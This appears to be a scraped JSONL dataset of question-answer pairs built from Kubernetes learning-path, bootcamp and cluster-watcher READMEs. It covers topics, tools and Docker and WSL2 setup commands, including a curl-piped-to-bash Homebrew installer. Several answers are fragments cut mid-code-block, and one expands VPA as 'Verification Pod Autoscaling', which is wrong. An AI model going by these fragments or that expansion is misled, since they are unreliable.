"https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376782"}
{"id": "gh_88f9fc422d5d", "question": "How to: Learn About Pod Dependent Objects", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "Now that you have a better understanding of Pod and independent kubernetes resources, you can start learning about objects that are dependent on the Pod object. While learning this, you will come across concepts like HPA (Horizontal Pod Autoscaling) and VPA (Verification Pod Autoscaling)\n\n1. **Replicaset**\n2. **Deployment**\n3. **Daemonsets**\n4. **Statefulset**\n5. **Jobs & Cronjobs**", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376788"}
{"id": "gh_891ec46bf0eb", "question": "How to: Deploy End to End Application on Kubernetes", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "Once you understand the basics of these objects, you can try deploying an end-to-end microservices application on Kubernetes. Start with simple use cases and gradually increase complexity.\n\nI would suggest you get a domain name and try setting up a microservice application from scratch and host it on your domain.\n\nYou don’t need to develop an application for this. Choose any open-source microservice-based application and deploy it. My suggestion is to choose the open-source [pet clinic microservice application](https://github.com/spring-petclinic/spring-petclinic-microservices) based on spring boot.\n\nFollowing are the high-level tasks.\n\n1. Build Docker images for all the services. Ensure you optimize the Dockerfile to reduce the Docker Image size.\n2. Create manifests for all the services. (Deployment, Statefulset, Services, Configmaps, Secrets, etc)\n3. Expose the front end with service type ClusterIp\n4. Deploy Nginx Ingress controller and expose it with service type Loadbalancer\n5. Map the load balancer IP to the domain name.\n6. Create an ingress object with a DNS name with the backend as a front-end service name.\n7. Validate the application.", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376798"}
{"id": "gh_e3fee45904ce", "question": "How to: Learn About Securing Kubernetes Cluster", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "Security is a key aspect of Kubernetes. There are many ways to implement security best practices in Kubernetes starting from building a secure container image.\n\nFollowing the native ways of implementing security in kubernetes.\n\n1. Service account\n2. Pod Security Context\n3. Seccomp & AppArmor\n4. Role Based Access Control (RBAC)\n5. Attribute-based access control (ABAC)\n6. Network Policies\n\nThe following are the open-source tools you need to look at.\n\n1. Open Policy Agent\n2. Kyverno\n3. Kube-bench\n4. Kube-hunter\n5. Falco", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376805"}
{"id": "gh_6683c870d7ce", "question": "How to: Learn About Kubernetes Operator Pattern", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "**Kubernetes Operators is an advanced concept.**\n\nTo understand operators, first, you need to learn the following Kubernetes concepts.\n\n1. Custom resource definitions\n2. Admission controllers\n3. Validating & Mutating Webhooks\n\nTo get started with operators, you can try setting the following operators on Kubernetes.\n\n1. Prometheus Operator\n2. MySQL Operator\n\nIf you are a Go developer or you want to learn to extend/customize kubernetes, I would suggest you create your own operator using Golang.", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376811"}
{"id": "gh_21dfe3f8aded", "question": "How to: Learn Important Kubernetes Configurations", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "While learning kubernetes, you might use a cluster in open network connectivity. So most of the tasks get executed without any issues. However, it is not the case with clusters set up on corporate networks.\n\nSo following are the some of the custom cluster configurations you should be aware of.\n\n1. Custom DNS server\n2. Custom image registry\n3. Shipping logs to external logging systems\n4. Kubernetes OpenID Connect\n5. Segregating & securing Nodes for PCI & PII Workloads", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376817"}
{"id": "gh_a3d056cb7332", "question": "How to: Learn Kubernetes Production Best Practices", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "Following are the resources that might help and add value to the Kubernetes learning process in terms of best practices.\n\n1. **12 Factor Apps**: It is a methodology that talks about how to code, deploy and maintain modern microservices-based applications. Since Kubernetes is a cloud-native microservices platform, it is a must-know concept for DevOps engineers. So when you work on a real-time kubernetes project, you can implement these 12-factor principles.\n\n2. **Kubernetes Failure Stories**: Kubernetes failure stories is a website that has a list of articles that talk about failures in Kubernetes implementation. If you read those stories, you can avoid those mistakes in your kubernetes implementation.\n\n3. **Case Studies From Organizations**: Spend time on use cases published by organizations on Kubernetes usage and scaling. You can learn a lot from them. Following are some of the case studies that are worth reading.\n\n   - Scheduling 300,000 Kubernetes Pods in Production Daily\n   - Scaling Kubernetes to 7,500 Nodes", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376825"}
{"id": "gh_3409cb9b3538", "question": "How to: Real-World Kubernetes Case Studies", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "When I spoke to the DevOps community, I found that a common issue was the lack of real-world experience with Kubernetes. If you don’t have an active Kubernetes project in your organization, you can refer to case studies and learning materials published by organizations that use Kubernetes. This will also help you in Kubernetes interviews.\n\nHere are some good real-world Kubernetes case studies that can enhance your Kubernetes knowledge:\n\n1. [List of Kubernetes User Case Studies](https://kubernetes.io/case-studies/) (Official Case Studies)\n2. [How OpenAI Scaled Kubernetes to 7,500 Nodes](https://openai.com/blog/scaling-kubernetes-to-7500-nodes/) (Blog)\n3. [Testing 500 Pods Per Node](https://cloud.redhat.com/blog/500_pods_per_node) (Blog)\n4. [Dynamic Kubernetes Cluster Scaling at Airbnb](https://medium.com/airbnb-engineering/dynamic-kubernetes-cluster-scaling-at-airbnb-d79ae3afa132) (Blog)\n5. [Scaling 100 to 10,000 pods on Amazon EKS](https://aws.amazon.com/blogs/containers/scale-from-100-to-10000-pods-on-amazon-eks) (Blog)", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376833"}
{"id": "gh_4873c4473747", "question": "How to: Kubernetes Failures/Learnings", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "- [Learn From Kubernetes Failure Stories](https://k8s.af/)\nList of Blogs\n- [Reddit: The Pi-Day Outage](https://www.reddit.com/r/devops/comments/11zvig0/you_broke_reddit_the_piday_outage/)\nBlog\n- [How a Production Outage Was Caused Using Kubernetes Pod Priorities](https://grafana.com/blog/2019/07/24/how-a-production-outage-was-caused-using-kubernetes-pod-priorities/)\nBlog", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376839"}
{"id": "gh_2b56d269e39e", "question": "How to: Kubernetes Deployment Tools (GitOps Based)", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "GitOps is a technical practice that uses Git as a single source of truth for declarative infrastructure and application code.\n\n- [Guide to GitOps](https://www.weave.works/technologies/gitops/)\nOfficial Doc\nSome popular GitOps-based tools for deploying applications to Kubernetes clusters are:\n\n- [Argo CD](https://argo-cd.readthedocs.io/en/stable/)\nOfficial Doc\n- [Argo Rollouts](https://argo-rollouts.readthedocs.io/en/stable/)\nOfficial Doc\n- [FluxCD](https://fluxcd.io/)\nOfficial Doc\n- [JenkinsX](https://jenkins-x.io/)\nOfficial Doc", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376845"}
{"id": "gh_4d7474ce6dad", "question": "How to: 1. Advanced Kubernetes Networking", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "#### Service Mesh Overview\n\n- **Description**: Service meshes help manage microservices networking by abstracting complex traffic management (routing, load balancing, retries, etc.).\n- **Popular Tools**: Istio, Linkerd, and Consul.\n- **Use Cases**: Improved resilience, observability, security, and traffic control.\n\n#### Network Policies Deep Dive\n\n- **Description**: Network policies allow admins to define allowed connections between pods and namespaces, enhancing security.\n- **Example**: Create policies to block or allow traffic within namespaces, useful for internal and external isolation.\n\n#### Ingress Controllers Comparison\n\n- **Overview**: Explore NGINX Ingress, Traefik, and HAProxy, discussing pros and cons and optimal use cases.\n- **Setup and Examples**: Walkthrough on setting up each Ingress Controller with example configurations for HTTP and HTTPS routing.\n\n---", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376853"}
{"id": "gh_1a3d093551a0", "question": "How to: 2. Kubernetes Observability and Monitoring", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "#### Monitoring Setup\n\n- **Description**: Setting up Prometheus and Grafana for comprehensive monitoring and visualization.\n- **Key Metrics**: Pod CPU/memory usage, node health, and custom metrics.\n- **Setup Guide**: Installation, configuration, and Grafana dashboard examples for Kubernetes clusters.\n\n#### Distributed Tracing\n\n- **Overview**: Explanation of distributed tracing and its importance in monitoring microservices.\n- **Setup**: Guide to integrating Jaeger or OpenTelemetry with a sample application.\n- **Visualization**: View and analyze request traces across services to identify bottlenecks.\n\n#### Log Aggregation\n\n- **Introduction**: Importance of centralized log management.\n- **Stack Setup**: Setting up an EFK (Elasticsearch, Fluentd, Kibana) stack, with tips on log storage and retention.\n- **Best Practices**: Log rotation, alerting, and monitoring logs for Kubernetes events.\n\n---", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376861"}
{"id": "gh_920529119c64", "question": "How to: 3. Advanced Cluster Management and Maintenance", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "#### Automated Scaling\n\n- **Overview**: Types of scaling – Cluster Autoscaler, Horizontal Pod Autoscaler (HPA), and Vertical Pod Autoscaler (VPA).\n- **Setup Guide**: How to configure autoscalers, with scenarios and examples.\n\n#### Backup and Disaster Recovery\n\n- **Why It Matters**: Explanation of the importance of backups, especially for etcd (Kubernetes’ key-value store).\n- **Guide**: Steps for backing up etcd and restoring it, with disaster recovery plan best practices.\n\n#### Cluster Upgrades\n\n- **Description**: Overview of the upgrade process and planning.\n- **Procedure**: Step-by-step instructions for safely upgrading Kubernetes, managing node pools, and testing upgrades.\n\n---", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376869"}
{"id": "gh_872c1ced79e6", "question": "How to: 4. Security Best Practices", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "#### Zero-Trust Networking\n\n- **Description**: Introduction to Zero-Trust principles in Kubernetes.\n- **Implementation**: Use network policies and mutual TLS (mTLS) to enforce zero-trust.\n\n#### Securing Workloads with Pod Security Policies (PSP)\n\n- **Overview**: How PSPs enforce security standards on containers (e.g., limiting root access, requiring certain security contexts).\n- **Examples**: Sample PSPs with detailed explanations for different security levels.\n\n#### Image Security\n\n- **Importance**: Why image security is critical.\n- **Tools and Setup**: Integration of Trivy or Clair to automate scanning and detect vulnerabilities.\n- **Example Workflow**: Setting up image scanning in a CI/CD pipeline.\n\n#### Secrets Management\n\n- **Best Practices**: Using Kubernetes secrets for sensitive data and avoiding hard-coded values.\n- **Vault Integration**: Step-by-step guide to integrating HashiCorp Vault for secrets management.\n\n---", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376877"}
{"id": "gh_dc0f6631abdc", "question": "How to: 5. Application Deployment Strategies", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "#### Advanced GitOps\n\n- **Overview**: Advanced GitOps concepts using tools like ArgoCD or Flux for continuous deployment.\n- **Examples**: Real-world examples of GitOps with features like rollback, progressive delivery, and A/B testing.\n\n#### Blue-Green Deployments\n\n- **What It Is**: Introduction to Blue-Green deployments to reduce downtime.\n- **Steps**: Walkthrough on creating a Blue-Green deployment in Kubernetes using Services and Ingress.\n\n#### Canary Releases\n\n- **Definition**: Canary releases gradually introduce updates to a small subset of users.\n- **Setup**: Using Argo Rollouts to implement canary releases, with sample configurations.\n\n---", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376884"}
{"id": "gh_33e34ae0843d", "question": "How to: 6. Troubleshooting Kubernetes Clusters", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "#### Common Issues and Solutions\n\n- **Overview**: Addressing common issues like failing pods, crashed nodes, and failed deployments.\n- **Solutions**: Detailed steps for resolving each issue, including example scenarios and `kubectl` commands.\n\n#### Kubernetes Debugging Tools\n\n- **Tools Overview**: Tools like `kubectl-debug`, K9s, and kube-ops-view for monitoring and troubleshooting.\n- **Usage**: Example scenarios and tool usage for real-time issue identification.\n\n#### CrashLoopBackOff and OOMKill Handling\n\n- **Description**: Explanation of common pod errors, including CrashLoopBackOff and Out of Memory (OOM) issues.\n- **Resolution Steps**: How to identify, troubleshoot, and resolve these issues.\n\n---", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376891"}
{"id": "gh_b941b17857c7", "question": "How to: 7. Additional Resources", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "#### Certification Study Guides\n\n- **Exams Covered**: CKA (Certified Kubernetes Administrator), CKAD (Certified Kubernetes Application Developer), and CKS (Certified Kubernetes Security Specialist).\n- **Resources**: Links to official documentation, practice labs, and study guides.\n\n#### Community and News Sources\n\n- **News and Blogs**: Resources to stay updated with Kubernetes trends, like CNCF blog, Kubernetes Podcast, and KubeWeekly.\n- **Community Forums**: Links to Kubernetes Slack channels, Stack Overflow, and other communities for support.", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376897"}
{"id": "gh_bb45e82bc4c7", "question": "How to: Contribute and Collaborate", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "> [!TIP]\n> This repository thrives on community contributions and collaboration. Here’s how you can get involved:\n>\n> - **Fork the Repository:** Create your own copy of the repository to work on.\n> - **Submit Pull Requests:** Contribute your projects or improvements to existing projects by submitting pull requests.\n> - **Engage with Others:** Participate in discussions, provide feedback on others’ projects, and collaborate to create better solutions.\n> - **Share Your Knowledge:** If you’ve developed a new project or learned something valuable, share it with the community. Your contributions can help others in their learning journey.", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376905"}
{"id": "gh_1dc2520c0772", "question": "How to: Join the Community", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "> [!IMPORTANT]\n> We encourage you to be an active part of our community:\n>\n> - **Join Our Telegram Community:** Connect with fellow DevOps enthusiasts, ask questions, and share your progress in our [Telegram group](https://t.me/prodevopsguy).\n> - **Follow Me on GitHub:** Stay updated with new projects and content by [following me on GitHub](https://github.com/NotHarshhaa).", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376911"}
{"id": "gh_927b7e4c7480", "question": "How to: Code of Conduct", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "> [!CAUTION]\n>\n> We are committed to fostering a welcoming and respectful environment for all contributors. Please take a moment to review our [Code of Conduct](./CODE_OF_CONDUCT.md) before participating in this community.", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376916"}
{"id": "gh_03933aac0b39", "question": "How to: Hit the Star! ⭐", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "**If you find this repository helpful and plan to use it for learning, please give it a star. Your support is appreciated!**", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376922"}
{"id": "gh_86b02709176a", "question": "How to: 🛠️ Author & Community", "question_body": "About NotHarshhaa/kubernetes-learning-path", "answer": "This project is crafted by **[Harshhaa](https://github.com/NotHarshhaa)** 💡.  \nI’d love to hear your feedback! Feel free to share your thoughts.  \n\n📧 **Connect with me:**\n\n- **GitHub**: [@NotHarshhaa](https://github.com/NotHarshhaa)  \n- **Blog**: [ProDevOpsGuy](https://blog.prodevopsguy.xyz)  \n- **Telegram Community**: [Join Here](https://t.me/prodevopsguy)  \n- **LinkedIn**: [Harshhaa Vardhan Reddy](https://www.linkedin.com/in/harshhaa-vardhan-reddy/)  \n\n---", "tags": ["NotHarshhaa"], "source": "github_gists", "category": "NotHarshhaa", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 408, "answer_score": 10, "has_code": false, "url": "https://github.com/NotHarshhaa/kubernetes-learning-path", "collected_at": "2026-01-17T12:53:51.376931"}
{"id": "gh_7e77f078759f", "question": "How to: Prerequisites", "question_body": "About kubeden/clopus-watcher", "answer": "**Cluster:**\n\n- Kubernetes cluster\n- Sealed Secrets (for API key / Claude Code Credentials file)\n\n**Local (to build the images):**\n\n- podman / docker / etc.\n- kubectl\n- container registry access", "tags": ["kubeden"], "source": "github_gists", "category": "kubeden", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 267, "answer_score": 10, "has_code": false, "url": "https://github.com/kubeden/clopus-watcher", "collected_at": "2026-01-17T12:53:56.118600"}
{"id": "gh_bec67662d238", "question": "How to: Configuration", "question_body": "About kubeden/clopus-watcher", "answer": "| Environment Variable | Description | Default |\n|---------------------|-------------|---------|\n| `TARGET_NAMESPACE` | Namespace to monitor | `default` |\n| `AUTH_MODE` | Auth method: `api-key` or `credentials` | `api-key` |\n| `WATCHER_MODE` | Watcher mode: `autonomous` or `watcher` | `autonomous` |\n| `ANTHROPIC_API_KEY` | Claude API key (if AUTH_MODE=api-key) | - |\n| `SQLITE_PATH` | Path to SQLite database | `/data/watcher.db` |", "tags": ["kubeden"], "source": "github_gists", "category": "kubeden", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 267, "answer_score": 10, "has_code": false, "url": "https://github.com/kubeden/clopus-watcher", "collected_at": "2026-01-17T12:53:56.118612"}
{"id": "gh_11e4202167a5", "question": "How to: 2. Create secret from credentials file", "question_body": "About kubeden/clopus-watcher", "answer": "kubectl create secret generic claude-credentials \\\n  --namespace clopus-watcher \\\n  --from-file=credentials.json=$HOME/.claude/.credentials.json", "tags": ["kubeden"], "source": "github_gists", "category": "kubeden", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 267, "answer_score": 10, "has_code": false, "url": "https://github.com/kubeden/clopus-watcher", "collected_at": "2026-01-17T12:53:56.118628"}
{"id": "gh_3aeea4ebd5c9", "question": "How to: Learning Outcomes", "question_body": "About piouson/kubernetes-bootcamp", "answer": "This bootcamp covers the [Certified Kubernetes Application Developer (CKAD)](https://training.linuxfoundation.org/certification/certified-kubernetes-application-developer-ckad/) exam curriculum plus more. In summary, you will be learning cloud application development, which is a modern approach to building and running software applications that exploits the flexibility, scalability, and resilience of cloud computing. Some highlights include:\n\n- proficiency working on the command-line\n- proficiency working with containers\n- proficiency working with Kubernetes\n- microservices architecture\n- devops with Kubernetes", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753584"}
{"id": "gh_d3a82de8c44f", "question": "How to: Ace the CKAD Exam", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Passing the CKAD exam with confidence should be a simple 4-stage process, all of which is covered in this bootcamp:\n\n1. Learn the CKAD exam curriculum content by your preferred method\n2. Learn how to troubleshoot all the resources covered in the curriculum\n3. Familiarity with the exam-language and common exam tips\n4. Proficiency with `kubectl` and related CLI tools", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753597"}
{"id": "gh_affac68a8c69", "question": "How to: Requirements", "question_body": "About piouson/kubernetes-bootcamp", "answer": "A Unix-based environment running docker (Docker Engine or Docker Desktop).\nmacOS users\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753606"}
{"id": "gh_d1da10c02c14", "question": "How to: 2. install homebrew", "question_body": "About piouson/kubernetes-bootcamp", "answer": "/bin/bash -c \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\"", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753614"}
{"id": "gh_9cb9ec34301e", "question": "How to: 3. install docker", "question_body": "About piouson/kubernetes-bootcamp", "answer": "brew install --cask docker\n```\nWindows users\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753621"}
{"id": "gh_5e74f929c55f", "question": "How to: restart device", "question_body": "About piouson/kubernetes-bootcamp", "answer": "```\n\nAfter device restart:\n\n1. Complete Ubuntu user setup - Ubuntu terminal should auto-open\n2. [Enable `systemd`](https://devblogs.microsoft.com/commandline/systemd-support-is-now-available-in-wsl/):\n   ```sh\n   sudo nano /etc/wsl.conf\n   ```\n   ```sh\n   # /etc/wsl.conf\n   [boot]\n   systemd=true\n   ```\n   ```sh\n   wsl.exe --terminate Ubuntu\n   ```\n3. [Enable Docker Desktop integration with WSL2 Ubuntu](https://docs.microsoft.com/en-us/windows/wsl/media/docker-dashboard.png)\n4. [Open Terminal and switch to Ubuntu](https://user-images.githubusercontent.com/17856665/192830999-f8f9c5af-8b4e-41c4-8f5e-c9c159fcf9ca.png)\n5. [Make Ubuntu your default Terminal profile](https://user-images.githubusercontent.com/17856665/192833271-5a3170a0-caf6-45bf-b378-ac6eb1f2dfbc.png)\n6. Perform Internet connection test in WSL2 by running:\n   ```sh\n   curl google.com\n   ```\n   > 💡 If connection fails with `Could not resolve host`, and you have a VPN program installed, see _WSL2 VPN fix_ below\nWSL2 VPN fix\nSee [wsl-vpnkit documentation](https://github.com/sakai135/wsl-vpnkit/#wsl-vpnkit) for more details.\n    ```powershell\n    # powershell as administrator\n    wget -o wsl-vpnkit.tar.gz https://github.com/sakai135/wsl-vpnkit/releases/latest/download/wsl-vpnkit.tar.gz\n    wsl --import wsl-vpnkit $env:USERPROFILE\\wsl-vpnkit wsl-vpnkit.tar.gz --version 2\n    ```\n    ```sh\n    # wsl2 ubuntu\n    wsl.exe -d wsl-vpnkit --cd /app cat /app/wsl-vpnkit.service | sudo tee /etc/systemd/system/wsl-vpnkit.service\n    sudo systemctl enable wsl-vpnkit\n    sudo systemctl start wsl-vpnkit\n    systemctl status wsl-vpnkit # should be Active\n    # test internet connection again\n    curl google.com\n    ```\nDebian users (and Windows without Docker Desktop)\nSee [Install Docker Engine documentation](https://docs.docker.com/engine/install) for more details and other distro steps. \\\nThis is also an alternative for Windows users running WSL2.\n\n> 💡 If using WSL2, be sure to:\n> 1. Enable `systemd` - see the _Windows users_ section\n> 2. If installed, [disable Docker Desktop integration with WSL2](https://docs.microsoft.com/en-us/windows/wsl/media/docker-dashboard.png)\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753637"}
{"id": "gh_ef05bce886e6", "question": "How to: 1. uninstall old docker versions", "question_body": "About piouson/kubernetes-bootcamp", "answer": "sudo apt-get remove docker docker-engine docker.io containerd runc", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753643"}
{"id": "gh_1209061ece5c", "question": "How to: 2. setup docker repository", "question_body": "About piouson/kubernetes-bootcamp", "answer": "sudo apt-get update\nsudo apt-get -y install ca-certificates curl gnupg lsb-release\nsudo mkdir -p /etc/apt/keyrings\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg\necho \"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable\" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753648"}
{"id": "gh_fb4740bc2867", "question": "How to: 3. install docker engine", "question_body": "About piouson/kubernetes-bootcamp", "answer": "sudo apt-get update\nsudo apt-get -y install docker-ce docker-ce-cli containerd.io docker-compose-plugin", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753652"}
{"id": "gh_58261ca5bd17", "question": "How to: 4. manage docker as non-root user", "question_body": "About piouson/kubernetes-bootcamp", "answer": "sudo groupadd docker\nsudo usermod -aG docker $USER", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753656"}
{"id": "gh_8d78bb4e1cad", "question": "How to: 5. start a new terminal to update group membership", "question_body": "About piouson/kubernetes-bootcamp", "answer": "docker run hello-world\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.753661"}
